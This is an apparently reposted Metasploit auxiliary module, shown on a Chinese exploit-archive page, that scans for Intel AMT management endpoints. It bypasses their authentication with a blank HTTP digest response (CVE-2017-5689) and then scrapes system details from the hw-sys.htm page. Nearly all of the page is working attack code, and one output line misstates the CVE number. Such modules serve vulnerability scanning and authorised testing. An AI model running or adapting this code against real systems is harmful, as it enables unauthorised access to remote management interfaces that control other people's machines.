首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Intel AMT Digest Authentication Bypass Scanner Exploit
来源:metasploit.com 作者:hdm 发布时间:2017-06-05  
##
# This module requires Metasploit: http://metasploit.com/download
##
  
require 'rex/proto/http'
  
class MetasploitModule < Msf::Auxiliary
  
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner
  
  def initialize
    super(
      'Name'        => 'Intel AMT Digest Authentication Bypass Scanner',
      'Description' => %q{
        This module scans for Intel Active Management Technology endpoints and attempts
        to bypass authentication using a blank HTTP digest (CVE-2017-5689). This service
        can be found on ports 16992, 16993 (tls), 623, and 624(tls).
      },
      'Author'      => 'hdm',
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          [ 'CVE', '2017-5689' ],
        ],
      'DisclosureDate' => 'May 05 2017'
    )
  
    register_options(
      [
        Opt::RPORT(16992),
      ])
  end
  
  # Fingerprint a single host
  def run_host(ip)
    begin
      connect
      res = send_request_raw({ 'uri' => '/hw-sys.htm', 'method' => 'GET' })
      unless res && res.headers['Server'].to_s.index('Intel(R) Active Management Technology')
        disconnect
        return
      end
  
      vprint_status("#{ip}:#{rport} - Found an Intel AMT endpoint: #{res.headers['Server']}")
  
      unless res.headers['WWW-Authenticate'] =~ /realm="([^"]+)".*nonce="([^"]+)"/
        vprint_status("#{ip}:#{rport} - AMT service did not send a valid digest response")
        disconnect
        return
      end
  
      realm = $1
      nonce = $2
      cnonce = Rex::Text.rand_text(10)
  
      res = send_request_raw(
        {
          'uri'     => '/hw-sys.htm',
          'method'  => 'GET',
          'headers' => {
            'Authorization' =>
              "Digest username=\"admin\", realm=\"#{realm}\", nonce=\"#{nonce}\", uri=\"/hw-sys.htm\", " +
              "cnonce=\"#{cnonce}\", nc=1, qop=\"auth\", response=\"\""
          }
        })
  
      unless res && res.body.to_s.index("Computer model")
        vprint_error("#{ip}:#{rport} - AMT service does not appear to be vulnerable")
        return
      end
  
      proof = res.body.to_s
      proof_hash = nil
  
      info_keys = res.body.scan(/<td class=r1><p>([^\<]+)<\/p>/).map{|x| x.first.to_s.gsub("&#x2F;", "/") }
      if info_keys.length > 0
        proof_hash = {}
        proof = ""
  
        info_vals = res.body.scan(/<td class=r1>([^\<]+)</).map{|x| x.first.to_s.gsub("&#x2F;", "/") }
        info_keys.each do |ik|
          iv = info_vals.shift
          break unless iv
          proof_hash[ik] = iv
          proof << "#{iv}: #{ik}\n"
        end
      end
  
      print_good("#{ip}:#{rport} - Vulnerable to CVE-2017-5869 #{proof_hash.inspect}")
  
      report_note(
        :host  => ip,
        :proto => 'tcp',
        :port  => rport,
        :type  => 'intel.amt.system_information',
        :data  => proof_hash
      )
  
      report_vuln({
        :host  => rhost,
        :port  => rport,
        :proto => 'tcp',
        :name  => "Intel AMT Digest Authentication Bypass",
        :refs  => self.references,
        :proof => proof
      })
  
    rescue ::Timeout::Error, ::Errno::EPIPE
    ensure
      disconnect
    end
  end
  
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·ScadaBR Credentials Dumper Exp
·Disk Sorter 9.7.14 - 'Input Di
·Sudo get_process_ttyname() Rac
·EnGenius EnShare IoT Gigabit C
·Samba is_known_pipename() Code
·DNSTracer 1.8.1 - Buffer Overf
·reiserfstune 3.6.25 - Local Bu
·Parallels Desktop - Virtual Ma
·Riverbed SteelHead VCX 9.6.0a
·BIND 9.10.5 - Unquoted Service
·WebKit CachedFrameBase::restor
·Cisco Catalyst 2960 IOS 12.2(5
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved